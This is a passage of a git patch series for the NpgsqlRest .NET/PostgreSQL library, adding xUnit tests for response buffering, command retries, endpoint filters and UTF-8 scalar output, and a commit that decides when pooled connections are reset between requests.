Rows are sent once 16 KB is collected (ResponseBufferBytes), not after every 25 rows. A query that fails before + /// that has sent nothing yet, so the client gets the error - it used to get status 200 with the first 25 rows and + /// a truncated body. + /// + [Fact] + public async Task Query_failing_midway_returns_an_error_not_a_truncated_response() + { + using var response = await test.Client.GetAsync("/api/buffer-rows-fails-midway/"); + response.StatusCode.Should().Be(HttpStatusCode.InternalServerError); + (await response.Content.ReadAsStringAsync()).Should().Be("{\"title\":\"22012: division by zero\",\"status\":500,\"detail\":\"22012\"}"); + } + + [Theory] + [InlineData(1)] + [InlineData(25)] + [InlineData(26)] + [InlineData(3000)] // ~150 KB: sent in several pieces + public async Task Large_and_small_responses_are_complete(int count) + { + using var response = await test.Client.GetAsync($"/api/buffer-rows-large/?count={count}"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + var expected = "[" + string.Join(",", Enumerable.Range(1, count).Select(i => $"{{\"id\":{i},\"name\":\"name {i}\",\"tags\":[\"a{i}\",\"b{i}\"]}}")) + "]"; + (await response.Content.ReadAsStringAsync()).Should().Be(expected); + } + + [Fact] + public async Task ResponseBufferBytes_zero_sends_every_batch_and_the_response_is_the_same() + { + var saved = NpgsqlRestOptions.Options.ResponseBufferBytes; + NpgsqlRestOptions.Options.ResponseBufferBytes = 0; + try + { + using var response = await test.Client.GetAsync("/api/buffer-rows-large/?count=120"); + var expected = "[" + string.Join(",", Enumerable.Range(1, 120).Select(i => $"{{\"id\":{i},\"name\":\"name {i}\",\"tags\":[\"a{i}\",\"b{i}\"]}}")) + "]"; + (await response.Content.ReadAsStringAsync()).Should().Be(expected); + } + finally + { + NpgsqlRestOptions.Options.ResponseBufferBytes = saved; + } + } +} diff --git a/NpgsqlRestTests/RenderTests/CommandRetryTests.cs b/NpgsqlRestTests/RenderTests/CommandRetryTests.cs new file mode 100644 index 00000000..64e562ec --- /dev/null +++ b/NpgsqlRestTests/RenderTests/CommandRetryTests.cs @@ -0,0 +1,100 @@ +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void CommandRetryTests() + { + script.Append(""" + -- Each routine counts its attempts in a sequence (sequences are not rolled back) and fails the first one + -- with a retryable error (40001, serialization_failure). The default retry strategy retries at once. + create sequence retry_scalar_seq; + create function retry_scalar() returns text language plpgsql as $$ + begin + if nextval('retry_scalar_seq') = 1 then + raise exception 'could not serialize' using errcode = '40001'; + end if; + return 'ok on attempt ' || currval('retry_scalar_seq'); + end $$; + comment on function retry_scalar() is 'HTTP GET'; + + create sequence retry_rows_seq; + create function retry_rows() returns table (attempt bigint, name text) language plpgsql as $$ + begin + if nextval('retry_rows_seq') = 1 then + raise exception 'could not serialize' using errcode = '40001'; + end if; + return query select currval('retry_rows_seq'), 'row'::text; + end $$; + comment on function retry_rows() is 'HTTP GET'; + + create sequence retry_void_seq; + create function retry_void() returns void language plpgsql as $$ + begin + if nextval('retry_void_seq') = 1 then + raise exception 'could not serialize' using errcode = '40001'; + end if; + end $$; + comment on function retry_void() is 'HTTP POST'; + create function retry_void_attempts() returns text language sql as $$ select last_value::text from retry_void_seq $$; + comment on function retry_void_attempts() is 'HTTP GET'; + + -- not a retryable error: one attempt only + create sequence retry_none_seq; + create function retry_not_retryable() returns text language plpgsql as $$ + begin + perform nextval('retry_none_seq'); + perform 1 / (currval('retry_none_seq') - currval('retry_none_seq')); + return 'unreachable'; + end $$; + comment on function retry_not_retryable() is 'HTTP GET'; + create function retry_not_retryable_attempts() returns text language sql as $$ select last_value::text from retry_none_seq $$; + comment on function retry_not_retryable_attempts() is 'HTTP GET'; + """); + } +} + +/// +/// Command retries (CommandRetryOptions, default strategy): a command that fails with a retryable error is executed +/// again. The first attempt is made by the request itself and the retry logic takes over when it fails, so these +/// cover that hand-over for each kind of result. +/// +[Collection("TestFixture")] +public class CommandRetryTests(TestFixture test) +{ + [Fact] + public async Task Scalar_is_retried_after_a_retryable_error() + { + using var response = await test.Client.GetAsync("/api/retry-scalar/"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be("ok on attempt 2"); + } + + [Fact] + public async Task Rows_are_retried_after_a_retryable_error() + { + using var response = await test.Client.GetAsync("/api/retry-rows/"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be("[{\"attempt\":2,\"name\":\"row\"}]"); + } + + [Fact] + public async Task Void_is_retried_after_a_retryable_error() + { + using var response = await test.Client.PostAsync("/api/retry-void/", null); + response.StatusCode.Should().Be(HttpStatusCode.NoContent); + + using var attempts = await test.Client.GetAsync("/api/retry-void-attempts/"); + (await attempts.Content.ReadAsStringAsync()).Should().Be("2"); + } + + [Fact] + public async Task Error_that_is_not_retryable_is_returned_after_one_attempt() + { + using var response = await test.Client.GetAsync("/api/retry-not-retryable/"); + response.StatusCode.Should().Be(HttpStatusCode.InternalServerError); + (await response.Content.ReadAsStringAsync()).Should().Be("{\"title\":\"22012: division by zero\",\"status\":500,\"detail\":\"22012\"}"); + + using var attempts = await test.Client.GetAsync("/api/retry-not-retryable-attempts/"); + (await attempts.Content.ReadAsStringAsync()).Should().Be("1"); + } +} diff --git a/NpgsqlRestTests/RenderTests/EndpointFilterTests.cs b/NpgsqlRestTests/RenderTests/EndpointFilterTests.cs new file mode 100644 index 00000000..bf0ec983 --- /dev/null +++ b/NpgsqlRestTests/RenderTests/EndpointFilterTests.cs @@ -0,0 +1,133 @@ +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.AspNetCore.Http; +using Microsoft.Extensions.Logging; + +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void EndpointFilterTests() + { + script.Append(""" + create function epf_filtered(_value text) returns text language sql stable as $$ select 'filtered ' || _value $$; + comment on function epf_filtered(text) is 'HTTP GET'; + + create function epf_rows() returns table (id int, name text) language sql stable as $$ + select i, 'name ' || i from generate_series(1, 3) i $$; + comment on function epf_rows() is 'HTTP GET'; + + create function epf_plain() returns text language sql stable as $$ select 'plain' $$; + comment on function epf_plain() is 'HTTP GET'; + """); + } +} + +[CollectionDefinition("EndpointFilterTestFixture")] +public class EndpointFilterTestFixtureCollection : ICollectionFixture { } + +/// +/// NpgsqlRest endpoints with an endpoint filter added through RouteHandlerCreated (every endpoint except epf_plain). +/// The filter marks the response with a header and rejects requests that send ?deny. +/// +public class EndpointFilterTestFixture : IDisposable +{ + private readonly WebApplication _app; + + public string ServerAddress { get; } + + public EndpointFilterTestFixture() + { + var connectionString = Database.Create(); + + var builder = WebApplication.CreateBuilder(); + builder.WebHost.UseUrls("http://127.0.0.1:0"); + builder.Logging.ClearProviders(); + + _app = builder.Build(); + _app.UseNpgsqlRest(new(connectionString) + { + IncludeSchemas = ["public"], + NameSimilarTo = "epf[_]%", + CommentsMode = CommentsMode.ParseAll, + RequiresAuthorization = false, + RouteHandlerCreated = (routeBuilder, endpoint) => + { + if (endpoint.Path.EndsWith("/epf-plain", StringComparison.Ordinal)) + { + return; + } + routeBuilder.AddEndpointFilter(async (invocationContext, next) => + { + var http = invocationContext.HttpContext; + if (http.Request.Query.ContainsKey("deny")) + { + return Results.Text("denied by filter", statusCode: StatusCodes.Status403Forbidden); + } + http.Response.Headers["X-Endpoint-Filter"] = "ran"; + return await next(invocationContext); + }); + }, + }); + + _app.StartAsync().GetAwaiter().GetResult(); + ServerAddress = _app.Urls.First(); + } + +#pragma warning disable CA1816 + public void Dispose() +#pragma warning restore CA1816 + { + _app.StopAsync().GetAwaiter().GetResult(); + _app.DisposeAsync().GetAwaiter().GetResult(); + } +} + +/// +/// An endpoint without endpoint filters calls the NpgsqlRest handler directly, skipping the generated route handler. +/// Endpoint filters (added through RouteHandlerCreated) must keep working: they run in that generated handler. +/// +[Collection("EndpointFilterTestFixture")] +public class EndpointFilterTests(EndpointFilterTestFixture test) +{ + private HttpClient NewClient() => new() { BaseAddress = new Uri(test.ServerAddress) }; + + [Fact] + public async Task Filter_runs_before_a_scalar_endpoint() + { + using var client = NewClient(); + using var response = await client.GetAsync("/api/epf-filtered/?value=x"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + response.Headers.GetValues("X-Endpoint-Filter").Should().Equal("ran"); + (await response.Content.ReadAsStringAsync()).Should().Be("filtered x"); + } + + [Fact] + public async Task Filter_runs_before_a_rows_endpoint() + { + using var client = NewClient(); + using var response = await client.GetAsync("/api/epf-rows/"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + response.Headers.GetValues("X-Endpoint-Filter").Should().Equal("ran"); + (await response.Content.ReadAsStringAsync()).Should().Be("[{\"id\":1,\"name\":\"name 1\"},{\"id\":2,\"name\":\"name 2\"},{\"id\":3,\"name\":\"name 3\"}]"); + } + + [Fact] + public async Task Filter_can_reject_the_request_and_the_routine_does_not_run() + { + using var client = NewClient(); + using var response = await client.GetAsync("/api/epf-filtered/?value=x&deny=1"); + response.StatusCode.Should().Be(HttpStatusCode.Forbidden); + (await response.Content.ReadAsStringAsync()).Should().Be("denied by filter"); + } + + [Fact] + public async Task Endpoint_without_a_filter_is_served_directly() + { + using var client = NewClient(); + using var response = await client.GetAsync("/api/epf-plain/"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + response.Headers.Contains("X-Endpoint-Filter").Should().BeFalse(); + (await response.Content.ReadAsStringAsync()).Should().Be("plain"); + } +} diff --git a/NpgsqlRestTests/RenderTests/ScalarUtf8Tests.cs b/NpgsqlRestTests/RenderTests/ScalarUtf8Tests.cs new file mode 100644 index 00000000..034dba94 --- /dev/null +++ b/NpgsqlRestTests/RenderTests/ScalarUtf8Tests.cs @@ -0,0 +1,92 @@ +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void ScalarUtf8Tests() + { + script.Append(""" +create function scalar_utf8_large_json(_items int) returns json language sql stable as $$ +select json_agg(json_build_object('id', i, 'name', 'stavka ' || i || ' žćč 😀')) from generate_series(1, _items) i $$; + +create function scalar_utf8_large_text(_length int) returns text language sql stable as $$ +select repeat('0123456789', _length / 10) $$; + +create function scalar_utf8_text() returns text language sql stable as $$ +select 'Ünïcödé "quoted" \ žćč 😀' $$; + +create function scalar_utf8_text_array() returns text[] language sql stable as $$ +select array['a b', 'žćč', 'q"uote', 'back\slash', null, '😀'] $$; + +create function scalar_utf8_int_array() returns int[] language sql stable as $$ +select array[1, 2, null, 4] $$; + +create function scalar_utf8_null() returns text language sql stable as $$ +select null::text $$; +"""); + } +} + +/// +/// A routine returning a single value writes it to the response as UTF-8 bytes taken straight from the reader +/// (values over 64 KB are streamed in pieces). The response must be exactly the value. +/// +[Collection("TestFixture")] +public class ScalarUtf8Tests(TestFixture test) +{ + [Theory] + [InlineData(10)] // small: buffered, written once + [InlineData(1500)] // just over 64 KB: streamed + [InlineData(20000)] // ~1 MB: many pieces + public async Task Large_json_value_is_complete(int items) + { + using var response = await test.Client.GetAsync($"/api/scalar-utf8-large-json/?items={items}"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + response.Content.Headers.ContentType!.MediaType.Should().Be("application/json"); + var expected = "[" + string.Join(", ", Enumerable.Range(1, items).Select(i => $"{{\"id\" : {i}, \"name\" : \"stavka {i} žćč 😀\"}}")) + "]"; + (await response.Content.ReadAsStringAsync()).Should().Be(expected); + } + + [Theory] + [InlineData(65530)] // just under the 64 KB limit + [InlineData(65540)] // just over + [InlineData(300000)] + public async Task Large_text_value_is_complete(int length) + { + using var response = await test.Client.GetAsync($"/api/scalar-utf8-large-text/?length={length}"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + response.Content.Headers.ContentType!.MediaType.Should().Be("text/plain"); + var body = await response.Content.ReadAsStringAsync(); + body.Length.Should().Be(length); + body.Should().Be(string.Concat(Enumerable.Repeat("0123456789", length / 10))); + } + + [Fact] + public async Task Unicode_text_value_is_returned_as_it_is() + { + using var response = await test.Client.GetAsync("/api/scalar-utf8-text/"); + (await response.Content.ReadAsStringAsync()).Should().Be("Ünïcödé \"quoted\" \\ žćč 😀"); + } + + [Fact] + public async Task Text_array_value_is_a_json_array() + { + using var response = await test.Client.GetAsync("/api/scalar-utf8-text-array/"); + response.Content.Headers.ContentType!.MediaType.Should().Be("application/json"); + (await response.Content.ReadAsStringAsync()).Should().Be("[\"a b\",\"žćč\",\"q\\\"uote\",\"back\\\\slash\",null,\"\\uD83D\\uDE00\"]"); + } + + [Fact] + public async Task Int_array_value_is_a_json_array() + { + using var response = await test.Client.GetAsync("/api/scalar-utf8-int-array/"); + (await response.Content.ReadAsStringAsync()).Should().Be("[1,2,null,4]"); + } + + [Fact] + public async Task Null_value_is_an_empty_response() + { + using var response = await test.Client.GetAsync("/api/scalar-utf8-null/"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be(""); + } +} diff --git a/NpgsqlRestTests/SqlFileSourceTests/MultiCommandTests/MultiCommandManyRowsTests.cs b/NpgsqlRestTests/SqlFileSourceTests/MultiCommandTests/MultiCommandManyRowsTests.cs new file mode 100644 index 00000000..7bda572d --- /dev/null +++ b/NpgsqlRestTests/SqlFileSourceTests/MultiCommandTests/MultiCommandManyRowsTests.cs @@ -0,0 +1,42 @@ +namespace NpgsqlRestTests.SqlFileSourceTests; + +public static partial class SqlFiles +{ + public static void MultiCommandManyRowsTests() + { + File.WriteAllText(Path.Combine(Dir, "multi_many_rows.sql"), """ + -- @param $1 count + select i as id, 'name ' || i as name, array['a' || i, 'b"' || i] as tags from generate_series(1, $1::int) i; + select $1::int as requested; + """); + } +} + +/// +/// Multi-statement SQL files with statements that return more rows than BufferRows (25 by default): every row must be +/// in the response exactly once. Rows already sent used to stay in the row buffer, so from the 26th row on the +/// response repeated rows and was not valid JSON. +/// +[Collection("SqlFileSourceFixture")] +public class MultiCommandManyRowsTests(SqlFileSourceTestFixture test) +{ + private static string Expected(int count) => + "{\"result1\":[" + + string.Join(",", Enumerable.Range(1, count).Select(i => $"{{\"id\":{i},\"name\":\"name {i}\",\"tags\":[\"a{i}\",\"b\\\"{i}\"]}}")) + + $"],\"result2\":[{count}]}}"; // a single unnamed-set column is an array of values + + [Theory] + [InlineData(1)] + [InlineData(25)] + [InlineData(26)] + [InlineData(60)] + [InlineData(1000)] + public async Task Every_row_is_returned_once(int count) + { + using var response = await test.Client.GetAsync($"/api/multi-many-rows?count={count}"); + var content = await response.Content.ReadAsStringAsync(); + + response.StatusCode.Should().Be(HttpStatusCode.OK, $"Response: {content}"); + content.Should().Be(Expected(count)); + } +} From e0506f12f7d13eb43cc35bef185fc5ff9b34a5de Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Thu, 19 Nov 2026 19:05:21 +0100 Subject: [PATCH 11/38] perf(client): reset pooled connections only when a request can leave session state, keep query plans The user_context fix in this release made Npgsql reset every connection with DISCARD ALL before each request. Measured against 3.21.0 that cost 12-15% of the throughput of small requests and 41% of the response time of a five-statement PL/pgSQL function, because DISCARD ALL also discards cached plans. - NpgsqlRestOptions.ConnectionResetRequired is set when the endpoints are built: true when an endpoint uses user_context or request_headers context, an upload sets the upload metadata context key, or BeforeRoutineCommands are configured - and WrapInTransaction is off. - The client builds its data sources with and without the reset and picks one once the endpoints are known. "No Reset On Close" in the connection string overrides the rule in both directions. - When connections are reset, one prepared statement per physical connection makes Npgsql reset with RESET ALL, CLOSE ALL, UNLISTEN *, ... instead of DISCARD ALL, so cached plans survive. - Named single-host connections are data sources too, so they follow the same rule. --- NpgsqlRest/NpgsqlRestBuilder.cs | 39 +++++ NpgsqlRest/Options/NpgsqlRestOptions.cs | 13 ++ NpgsqlRestClient/Builder.cs | 113 +++++++++++-- NpgsqlRestClient/Program.cs | 52 +++++- .../ConnectionResetRequiredTests.cs | 95 +++++++++++ .../ConnectionTests/ConnectionResetTests.cs | 150 ++++++++++++++++++ 6 files changed, 443 insertions(+), 19 deletions(-) create mode 100644 NpgsqlRestTests/ConnectionTests/ConnectionResetRequiredTests.cs create mode 100644 NpgsqlRestTests/ConnectionTests/ConnectionResetTests.cs diff --git a/NpgsqlRest/NpgsqlRestBuilder.cs b/NpgsqlRest/NpgsqlRestBuilder.cs index 9810611c..97d05e93 100644 --- a/NpgsqlRest/NpgsqlRestBuilder.cs +++ b/NpgsqlRest/NpgsqlRestBuilder.cs @@ -75,6 +75,8 @@ public static IApplicationBuilder UseNpgsqlRest(this WebApplication builder, Npg hasStreamingEvents ) = Build(builder, defaultStrategy); + Options.ConnectionResetRequired = RequestsLeaveSessionState(entries); + if (entries.Count == 0) { return builder; @@ -186,6 +188,43 @@ public static IApplicationBuilder UseNpgsqlRest(this WebApplication builder, Npg return builder; } + /// + /// True when a request can leave session-level settings on its connection (see + /// ). These are all the places where NpgsqlRest runs + /// set_config(..., false): the request context (SetRequestContextAsync) and the upload metadata key (UploadAsync). + /// BeforeRoutineCommands are the application's own SQL, typically set_config calls, so they count as well. + /// + private static bool RequestsLeaveSessionState(List entries) + { + if (Options.WrapInTransaction) + { + // every set_config NpgsqlRest issues is local to the request's transaction + return false; + } + if (Options.BeforeRoutineCommands.Length > 0) + { + return true; + } + var auth = Options.AuthenticationOptions; + var userContextWrites = auth.IpAddressContextKey is not null + || auth.ClaimsJsonContextKey is not null + || auth.ContextKeyClaimsMapping.Count > 0; + var headersContextWrites = Options.RequestHeadersContextKey is not null; + var uploadContextWrites = Options.UploadOptions.UseDefaultUploadMetadataContextKey + && Options.UploadOptions.DefaultUploadMetadataContextKey is not null; + foreach (var entry in entries) + { + var endpoint = entry.Endpoint; + if ((endpoint.UserContext && userContextWrites) + || (endpoint.RequestHeadersMode == RequestHeadersMode.Context && headersContextWrites) + || (endpoint.Upload && uploadContextWrites)) + { + return true; + } + } + return false; + } + /// /// user_context / request_headers context values are session-level settings (set_config(..., false)) unless the /// request runs in a transaction. With "No Reset On Close" the pooled connection keeps them, so the next request diff --git a/NpgsqlRest/Options/NpgsqlRestOptions.cs b/NpgsqlRest/Options/NpgsqlRestOptions.cs index 8c351097..c04c2a76 100644 --- a/NpgsqlRest/Options/NpgsqlRestOptions.cs +++ b/NpgsqlRest/Options/NpgsqlRestOptions.cs @@ -280,6 +280,19 @@ public NpgsqlRestOptions(NpgsqlDataSource dataSource) /// public bool WrapInTransaction { get; set; } = false; + /// + /// Set by UseNpgsqlRest when the endpoints are built (read it afterwards): true when a request can leave + /// session-level settings on its database connection, so pooled connections have to be reset when they return to + /// the pool (Npgsql does that unless the connection string sets "No Reset On Close"). Without + /// , that is the case when an endpoint uses `user_context` or + /// `request_headers context`, when an upload endpoint sets the upload metadata context key, or when + /// are configured. + /// False when nothing NpgsqlRest does stays on a connection after the request - with WrapInTransaction every + /// setting is local to the request's transaction. Such an application can skip the reset, and what the reset + /// costs PostgreSQL on every request. Session state left behind by your own SQL is not covered by this flag. + /// + public bool ConnectionResetRequired { get; internal set; } + /// /// Controls how JSON datetime strings are interpreted when bound to `timestamp`, `timestamptz`, `time`, or `timetz` /// parameters. When true (the default, since 3.16.0), `Z`- and offset-bearing strings are converted to UTC and naive diff --git a/NpgsqlRestClient/Builder.cs b/NpgsqlRestClient/Builder.cs index a9646e8c..e65baa48 100644 --- a/NpgsqlRestClient/Builder.cs +++ b/NpgsqlRestClient/Builder.cs @@ -1749,10 +1749,9 @@ public bool BuildForwardedHeaders() // Connection doesn't participate in ambient TransactionScope connectionStringBuilder.Enlist = false; - // NoResetOnClose is NOT forced (it used to be): without the reset, session-level state such as the - // user_context / request_headers settings (set_config(..., false)) survives on the pooled connection and - // is visible to the next request that gets it. Npgsql's reset is sent together with the next command, so - // it costs no extra round trip. It can still be set explicitly in the connection string. + // "No Reset On Close" is not set here (it used to be forced to true). Whether connections are reset between + // requests is decided when the data sources are built and the endpoints are known: see CreateDataSourceBuilder + // and Program.cs (options.ConnectionResetRequired). A value given in the connection string always wins. connectionString = connectionStringBuilder.ConnectionString; @@ -3054,13 +3053,16 @@ public TargetSessionAttributes GetTargetSessionAttribute(string? connectionName) } /// - /// Builds data sources dictionary for multi-host connections. The main data source instance + /// Builds the data sources dictionary for the named connections. The main data source instance /// (built by , owned by the caller) is registered under the main /// connection's real name - and under the legacy "_default" alias when multi-host - so a request /// routed to the main name shares the exact same pool as unrouted requests. Entries that reference /// the main instance must NOT be disposed by the caller's cleanup (the main is owned elsewhere). /// - public Dictionary BuildDataSources(string mainConnectionString, NpgsqlDataSource mainDataSource) + /// The main connection string. + /// The main data source. + /// Build the variant that does not reset connections (see CreateDataSourceBuilder). + public Dictionary BuildDataSources(string mainConnectionString, NpgsqlDataSource mainDataSource, bool skipConnectionReset = false) { // Case-insensitive like IConfiguration keys, so a lowercased annotation name still matches. var result = new Dictionary(StringComparer.OrdinalIgnoreCase); @@ -3087,16 +3089,31 @@ public Dictionary BuildDataSources(string mainConnecti continue; } - var (connStr, _) = BuildConnection(section.Key, section.Value!, isMain: false, skipRetryOpts: true); - if (connStr is null || !IsMultiHostConnectionString(connStr)) + // Built (and logged) once; the second variant of the data sources reuses the strings. + if (_namedConnectionStrings.TryGetValue(section.Key, out var connStr) is false) { + (connStr, _) = BuildConnection(section.Key, section.Value!, isMain: false, skipRetryOpts: true); + _namedConnectionStrings[section.Key] = connStr; + } + if (connStr is null) + { + continue; + } + if (!IsMultiHostConnectionString(connStr)) + { + // Single host: a data source as well, so that requests routed to this connection get the same + // connection reset as the main one (see CreateDataSourceBuilder) rather than Npgsql's default. + result[section.Key] = CreateDataSourceBuilder(connStr, skipConnectionReset).Build(); continue; } var target = GetTargetSessionAttribute(section.Key); - var multiHost = new NpgsqlDataSourceBuilder(connStr).BuildMultiHost(); + var multiHost = CreateDataSourceBuilder(connStr, skipConnectionReset).BuildMultiHost(); result[section.Key] = multiHost.WithTargetSession(target); - ClientLogger?.LogDebug("Built multi-host data source for connection '{ConnectionName}' with target session '{TargetSession}'", section.Key, target); + if (skipConnectionReset is false) + { + ClientLogger?.LogDebug("Built multi-host data source for connection '{ConnectionName}' with target session '{TargetSession}'", section.Key, target); + } } } @@ -3248,21 +3265,89 @@ internal static TimeSpan ParseTestTimeout(string? raw, TimeSpan def) return TimeSpan.TryParse(raw, out var ts) ? ts : def; } + private readonly Dictionary _namedConnectionStrings = new(StringComparer.OrdinalIgnoreCase); + /// /// Builds the main data source (handles both single-host and multi-host). /// - public NpgsqlDataSource BuildMainDataSource(string connectionString) + /// The main connection string. + /// Build the variant that does not reset connections (see CreateDataSourceBuilder). + public NpgsqlDataSource BuildMainDataSource(string connectionString, bool skipConnectionReset = false) { if (IsMultiHostConnectionString(connectionString)) { var target = GetTargetSessionAttribute(ConnectionName); - var multiHost = new NpgsqlDataSourceBuilder(connectionString).BuildMultiHost(); - ClientLogger?.LogDebug("Using multi-host data source with target session '{TargetSession}'", target); + var multiHost = CreateDataSourceBuilder(connectionString, skipConnectionReset).BuildMultiHost(); + if (skipConnectionReset is false) + { + ClientLogger?.LogDebug("Using multi-host data source with target session '{TargetSession}'", target); + } return multiHost.WithTargetSession(target); } - return new NpgsqlDataSourceBuilder(connectionString).Build(); + return CreateDataSourceBuilder(connectionString, skipConnectionReset).Build(); + } + + /// + /// True when the connection string says itself whether connections are reset ("No Reset On Close" is present, + /// with either value). Then that is what happens, whatever the endpoints need. + /// + public static bool IsConnectionResetConfigured(string connectionString) + { + foreach (var key in new NpgsqlConnectionStringBuilder(connectionString).Keys) + { + if (string.Equals(key, "No Reset On Close", StringComparison.OrdinalIgnoreCase)) + { + return true; + } + } + return false; } + /// + /// The data source builder for a connection string. Two things about resetting connections are decided here. + /// + /// Whether to reset. Npgsql resets a connection's session state when it goes back to the pool, so nothing a + /// request leaves on its connection - user_context settings, SET ROLE, temp tables, advisory locks - reaches the + /// next request. That costs PostgreSQL work on every request, and it is only needed when a request can leave such + /// state behind (NpgsqlRestOptions.ConnectionResetRequired, known once the endpoints are built). The data sources + /// are therefore built in two variants and Program.cs picks one: with the reset, and - with + /// - without it. A connection string that sets "No Reset On Close" itself + /// is left as it is in both. + /// + /// How to reset. By default Npgsql's reset is DISCARD ALL, which also discards the cached plans of every PL/pgSQL + /// function the session has run: each request then plans those statements again. When a connection has prepared + /// statements, Npgsql resets it with the individual commands instead (SET SESSION AUTHORIZATION DEFAULT, + /// RESET ALL, CLOSE ALL, UNLISTEN *, advisory locks, DISCARD SEQUENCES, DISCARD TEMP) and leaves plans alone. So + /// one trivial statement is prepared on every new physical connection: the same reset, without the re-planning. + /// It is never executed. + /// + private static NpgsqlDataSourceBuilder CreateDataSourceBuilder(string connectionString, bool skipConnectionReset) + { + var builder = new NpgsqlDataSourceBuilder(connectionString); + var settings = builder.ConnectionStringBuilder; + if (skipConnectionReset && IsConnectionResetConfigured(connectionString) is false) + { + settings.NoResetOnClose = true; + } + if (settings.NoResetOnClose is false && settings.Pooling && settings.Multiplexing is false) + { + builder.UsePhysicalConnectionInitializer( + static connection => + { + using var command = new NpgsqlCommand(KeepPlansStatement, connection); + command.Prepare(); + }, + static async connection => + { + await using var command = new NpgsqlCommand(KeepPlansStatement, connection); + await command.PrepareAsync(); + }); + } + return builder; + } + + private const string KeepPlansStatement = "select 1"; + public ValidationOptions BuildValidationOptions() { var validationCfg = _config.Cfg.GetSection("ValidationOptions"); diff --git a/NpgsqlRestClient/Program.cs b/NpgsqlRestClient/Program.cs index eabf7450..a178cfb8 100644 --- a/NpgsqlRestClient/Program.cs +++ b/NpgsqlRestClient/Program.cs @@ -500,14 +500,22 @@ // so cleanup must dispose each distinct instance once and never the main one (owned by the // enclosing `await using`). var dataSources = builder.BuildDataSources(connectionString, dataSource); -if (dataSources.Count > 0) + +// The same data sources in a second variant that does not reset connections when they return to the pool. Requests +// use it when nothing a request does can stay on its connection, which is known only once the endpoints are built +// (see UseNpgsqlRestAndPickDataSources below). A connection string that sets "No Reset On Close" itself keeps its +// setting in both variants. A data source opens connections only when used, so the unused variant costs nothing. +await using var dataSourceNoReset = builder.BuildMainDataSource(connectionString, skipConnectionReset: true); +var dataSourcesNoReset = builder.BuildDataSources(connectionString, dataSourceNoReset, skipConnectionReset: true); + +if (dataSources.Count > 0 || dataSourcesNoReset.Count > 0) { // Register disposal of additional data sources app.Lifetime.ApplicationStopping.Register(() => { - foreach (var ds in dataSources.Values.Distinct()) + foreach (var ds in dataSources.Values.Concat(dataSourcesNoReset.Values).Distinct()) { - if (ReferenceEquals(ds, dataSource) is false) + if (ReferenceEquals(ds, dataSource) is false && ReferenceEquals(ds, dataSourceNoReset) is false) { ds.Dispose(); } @@ -629,7 +637,41 @@ } } -app.UseNpgsqlRest(options); +UseNpgsqlRestAndPickDataSources(); + +// Builds the endpoints, then picks the data sources requests run on. Connections are reset between requests only +// when a request can leave session-level settings on them: an endpoint with user_context or request_headers context, +// an upload metadata context key, or BeforeRoutineCommands - and no WrapInTransaction, which makes all of them local +// to the request's transaction. UseNpgsqlRest works that out from the endpoints it builds +// (options.ConnectionResetRequired). Without such endpoints nothing can leak, and skipping the reset saves +// PostgreSQL work on every request. A connection string that sets "No Reset On Close" itself is not affected. +void UseNpgsqlRestAndPickDataSources() +{ + // Discovery, and the library's "No Reset On Close" warning, use the data sources as configured. + options.DataSource = dataSource; + options.DataSources = dataSources.Count > 0 ? dataSources : null; + + app.UseNpgsqlRest(options); + + if (options.ConnectionResetRequired is false) + { + options.DataSource = dataSourceNoReset; + options.DataSources = dataSourcesNoReset.Count > 0 ? dataSourcesNoReset : null; + } + + if (Builder.IsConnectionResetConfigured(connectionString)) + { + builder.ClientLogger?.LogDebug("Connection reset between requests is set by \"No Reset On Close\" in the connection string."); + } + else if (options.ConnectionResetRequired) + { + builder.ClientLogger?.LogDebug("Connections are reset between requests: endpoints leave session-level settings on them (user_context, request_headers context, upload metadata context or BeforeRoutineCommands, without WrapInTransaction)."); + } + else + { + builder.ClientLogger?.LogDebug("Connections are not reset between requests: no endpoint leaves session-level settings on them. Add \"No Reset On Close=false\" to the connection string to reset them anyway."); + } +} if (endpointsMode) { @@ -662,7 +704,7 @@ endpointPattern, () => { - app.UseNpgsqlRest(options); + UseNpgsqlRestAndPickDataSources(); return EndpointCapture.Endpoints; }); } diff --git a/NpgsqlRestTests/ConnectionTests/ConnectionResetRequiredTests.cs b/NpgsqlRestTests/ConnectionTests/ConnectionResetRequiredTests.cs new file mode 100644 index 00000000..2a309e56 --- /dev/null +++ b/NpgsqlRestTests/ConnectionTests/ConnectionResetRequiredTests.cs @@ -0,0 +1,95 @@ +using Microsoft.AspNetCore.Builder; +using Microsoft.Extensions.Logging; + +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void ConnectionResetRequiredTests() + { + script.Append(""" + create function crr_plain() returns text language sql stable as $$ select 'plain' $$; + comment on function crr_plain() is 'HTTP GET'; + + create function crr_user_context() returns text language sql stable as $$ select current_setting('request.user_id', true) $$; + comment on function crr_user_context() is 'HTTP GET + user_context'; + + create function crr_headers_context() returns text language sql stable as $$ select current_setting('request.headers', true) $$; + comment on function crr_headers_context() is 'HTTP GET + request_headers context'; + """); + } +} + +/// +/// NpgsqlRestOptions.ConnectionResetRequired tells the host whether a request can leave session-level settings on its +/// connection - that is, whether pooled connections have to be reset between requests. UseNpgsqlRest sets it from +/// the endpoints it builds. +/// +public class ConnectionResetRequiredTests +{ + private static async Task BuildAsync(string nameSimilarTo, Action? configure = null) + { + var builder = WebApplication.CreateBuilder(); + builder.Logging.ClearProviders(); + await using var app = builder.Build(); + + var options = new NpgsqlRestOptions(Database.Create()) + { + IncludeSchemas = ["public"], + NameSimilarTo = nameSimilarTo, + CommentsMode = CommentsMode.ParseAll, + RequiresAuthorization = false, + }; + configure?.Invoke(options); + app.UseNpgsqlRest(options); + return options; + } + + [Fact] + public async Task Not_required_when_no_endpoint_sets_a_context() + 